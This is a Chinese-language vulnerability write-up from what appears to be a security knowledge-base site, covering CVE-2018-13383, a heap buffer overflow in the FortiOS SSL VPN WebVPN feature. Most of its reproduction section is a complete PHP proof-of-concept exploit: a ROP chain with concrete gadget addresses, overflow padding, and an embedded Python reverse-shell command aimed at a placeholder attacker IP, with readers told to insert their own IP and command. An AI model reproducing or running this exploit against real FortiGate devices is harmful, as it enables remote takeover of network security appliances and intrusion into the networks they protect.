menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 049-Fortinet FortiOS chevron_right 005-CVE-2018-13383 Fortinet FortiOS 缓冲区错误漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    005-CVE-2018-13383 Fortinet FortiOS 缓冲区错误漏洞.md
    3.5 KB / 2021-07-17 00:01:28
        # CVE-2018-13383 Fortinet FortiOS 缓冲区错误漏洞
    
    ### 一、漏洞简介
    
    Fortinet FortiOS是美国飞塔(Fortinet)公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。 Fortinet FortiOS 6.2.0之前版本中存在堆缓冲区溢出漏洞。该漏洞源于网络系统或产品在内存上执行操作时,未正确验证数据边界,导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。
    
    ### 二、漏洞影响
    
    Fortinet Fortios 6.2 Fortinet Fortios 6.0.5
    
    ### 三、复现过程
    
    这是WebVPN功能的漏洞。在解析HTML中的JavaScript时,它会尝试使用以下代码将内容复制到缓冲区中:
    
    
    ```
    memcpy(buffer, js_buf, js_buf_len);
    ```
    
    缓冲区大小固定为0x2000,但输入字符串是无限制的。因此,这里存在堆溢出。值得注意的是,此漏洞可以溢出Null字节,这在我们的利用中很有用。
    为触发此溢出,我们需要将exploit放到HTTP服务器上,然后以普通用户权限登录SSL VPN代理访问我们的exploit为普通用户。
    
    这里我们用PHP编写的PoC放在HTTP服务器上:
    
    *//请自行修改里面的ip以及所需要的执行的命令*
    
    
    ```php
    <?php
    function p64($address) {
        $low = $address & 0xffffffff;
        $high = $address >> 32 & 0xffffffff;
        return pack("II", $low, $high);
    }
    $junk = 0x4141414141414141;
    $nop_func = 0x32FC078;
    
    $gadget  = p64($junk);
    $gadget .= p64($nop_func - 0x60);
    $gadget .= p64($junk);
    $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
    $gadget .= p64($junk);
    $gadget .= p64($junk);
    $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
    $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
    $gadget .= p64(0x58);
    $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
    $gadget .= p64(0x1366639); // call system ;
    $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
    
    $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
    $p .= $gadget;
    $p .= str_repeat('A', 0x1000 - strlen($gadget));
    $p .= $gadget;
    ?>
    <a href="javascript:void(0);<?=$p;?>">xxx</a>
    ```
    
    这个PoC可以分为三个部分。
    
    **1.虚假的SSL structure**
    
    SSL structure和我们的缓冲区相靠,因此我们可以精确伪造。为了避免崩溃,我们将method设置为一个包含空函数指针的位置。此时的参数是 SSL structure本身s。但是,method前面只有8个字节,我们不能简单地调用`system("/bin/sh");`,这对于我们的反向shell来说是不够的。不过由于那个巨大的二进制文件,我们很容易找到ROP小片段。我们发现一个有用的堆栈枢轴:
    
    因此,我们将handshake_func设置为这个小片段,将rsp移动到SSL structure中,进行下一步的ROP攻击。
    
    **2.ROP链**
    
    这里的ROP链很简单。我们稍微向前移动rdi,以便有足够的空间执行反向shell命令。
    
    **3.溢出的字符串**
    
    最后,我们连接溢出填充并加以利用。一旦我们溢出了SSL structure,就会得到一个shell。
    
    最终稳定利用还需要多次尝试,因为有时程序会提前崩溃。但无论如何,攻击还是奏效了,只需要1~2分钟,就可以获得一个反向shell。
    
    links
    file_download